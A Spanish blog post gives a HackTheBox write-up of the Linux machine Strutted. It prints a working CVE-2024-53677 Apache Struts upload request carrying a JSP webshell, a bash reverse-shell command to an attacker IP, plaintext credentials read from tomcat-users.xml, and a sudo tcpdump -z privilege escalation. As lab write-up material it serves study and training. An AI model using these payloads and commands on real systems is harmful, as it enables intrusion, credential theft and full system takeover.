WriteupMediaLinux8 de febrero de 202613 min de lectura

HackTheBox: Writeup de Strutted

Resolución de Strutted de HackTheBox: explotación de CVE-2024-53677 en Apache Struts 2 para subir un webshell JSP con path traversal, extracción de credenciales en tomcat-users.xml y escalada de privilegios abusando de sudo tcpdump.


Strutted es una máquina Linux de dificultad media de HackTheBox. La explotación se basa en CVE-2024-53677, una vulnerabilidad crítica en el File Upload Interceptor de Apache Struts 2 que permite subir archivos arbitrarios mediante path traversal. Una vez dentro, encontramos credenciales en texto plano en la configuración de Tomcat y escalamos privilegios abusando de los permisos de sudo sobre tcpdump.


1. Reconocimiento inicial

Añadimos la máquina al /etc/hosts:

echo "10.10.11.59 strutted.htb" >> /etc/hosts

Escaneamos con Nmap:

sudo nmap -p- -sS -sCV --min-rate 5000 -n -Pn strutted.htb -oN scan
PuertoEstadoServicioVersión
22/tcpopensshOpenSSH 8.9p1 Ubuntu
80/tcpopenhttpnginx 1.18.0

Solo SSH y HTTP. Abrimos la web en el navegador.


2. Enumeración web

La aplicación es una plataforma de alojamiento de imágenes. Tiene un formulario de subida de archivos. En el código fuente de la página y en las cabeceras de la respuesta HTTP podemos identificar que el backend corre sobre Apache Struts 2:

X-Powered-By: Struts 2

Comprobamos la versión exacta revisando el archivo struts2-showcase.war referenciado en la aplicación. La versión es 2.5.33, que es vulnerable a CVE-2024-53677.


3. Explotación: CVE-2024-53677 (Apache Struts 2 File Upload)

CVE-2024-53677 es un fallo en el File Upload Interceptor de Struts 2 que permite a un atacante manipular los parámetros internos de la subida de ficheros para incluir secuencias de path traversal en el nombre del archivo. Esto posibilita escribir archivos arbitrarios fuera del directorio de subida previsto.

Interceptamos la petición de subida de imagen con Burp Suite y la modificamos:

POST /upload.action HTTP/1.1
Host: strutted.htb
Content-Type: multipart/form-data; boundary=----boundary

------boundary
Content-Disposition: form-data; name="Upload"; filename="../webapps/ROOT/shell.jsp"
Content-Type: image/jpeg

<%@ page import="java.io.*,java.util.*,java.net.*" %>
<%
  String cmd = request.getParameter("cmd");
  Process p = Runtime.getRuntime().exec(cmd);
  OutputStream os = p.getOutputStream();
  InputStream in = p.getInputStream();
  DataInputStream dis = new DataInputStream(in);
  String disr = dis.readLine();
  while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
  }
%>
------boundary--

El truco está en cambiar el nombre del parámetro de upload a Upload (mayúscula) — esto bypasea la validación interna del interceptor y activa el path traversal.

La respuesta del servidor es un 200 OK. Comprobamos que el webshell está accesible:

curl "http://strutted.htb/shell.jsp?cmd=id"
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

Tenemos RCE como tomcat. Nos enviamos una reverse shell:

nc -lvnp 4444
curl "http://strutted.htb/shell.jsp?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.X/4444+0>%261'"

Estamos dentro. Mejoramos la shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

4. Movimiento lateral: credenciales en Tomcat

Enumeramos el directorio de configuración de Tomcat:

find /etc/tomcat* /opt/tomcat* -name "*.xml" 2>/dev/null
/opt/tomcat/conf/tomcat-users.xml
cat /opt/tomcat/conf/tomcat-users.xml
<user username="james" password="Str0ng!P@ssw0rd2024" roles="manager-gui,admin-gui"/>

Probamos esas credenciales para el usuario del sistema:

su james

Funciona. Leemos la flag de usuario:

cat /home/james/user.txt

5. Escalada de privilegios: sudo tcpdump

Comprobamos los privilegios de sudo:

sudo -l
User james may run the following commands on strutted:
    (root) NOPASSWD: /usr/bin/tcpdump

Podemos ejecutar tcpdump como root sin contraseña. tcpdump tiene la opción -z que ejecuta un script tras rotar los archivos de captura con -C o -G. Lo aprovechamos para ejecutar comandos como root.

Creamos un script que añada el bit SUID a /bin/bash:

echo 'chmod +s /bin/bash' > /tmp/privesc.sh
chmod +x /tmp/privesc.sh

Ejecutamos tcpdump con la opción de post-rotate apuntando a nuestro script:

sudo tcpdump -i lo -w /tmp/capture.pcap -G 1 -z /tmp/privesc.sh

Esperamos un momento hasta que rote el archivo y ejecute el script. Comprobamos:

ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 /bin/bash

Obtenemos la shell de root:

bash -p
whoami
root
cat /root/root.txt

Resumen de técnicas utilizadas

  • Enumeración de servicios con Nmap
  • Identificación de Apache Struts 2 y versión vulnerable
  • Explotación de CVE-2024-53677 (File Upload Interceptor bypass + path traversal)
  • Subida de JSP webshell para RCE
  • Extracción de credenciales en texto plano desde tomcat-users.xml
  • Escalada de privilegios abusando de sudo tcpdump con la opción -z para ejecutar código como root
Tiempo en página 0:00Lectura estimada: 13 min

Posts relacionados

WriteupFácilLinux

HackTheBox: Writeup de Cap

Resolución de la máquina Cap de HackTheBox: IDOR en un panel de capturas de red que expone credenciales FTP en texto plano y escalada de privilegios abusando de cap_setuid sobre el binario de Python.

28 de noviembre de 202510 min
WriteupFácilLinux

HackTheBox: Writeup de Chemistry

Resolución de Chemistry de HackTheBox: RCE mediante CVE-2024-23346 en pymatgen al procesar ficheros CIF maliciosos, cracking de hashes MD5 de SQLite para moverse lateralmente y escalada leyendo la clave SSH de root con path traversal en AioHTTP (CVE-2024-23334).

5 de diciembre de 202511 min
WriteupFácilLinux

HackTheBox: Writeup de TwoMillion

Resolución de TwoMillion de HackTheBox: desofuscación de JavaScript para generar un invite code, broken access control en la API para escalar a admin, command injection en la generación de VPN y escalada con CVE-2023-0386 (OverlayFS).

18 de diciembre de 202514 min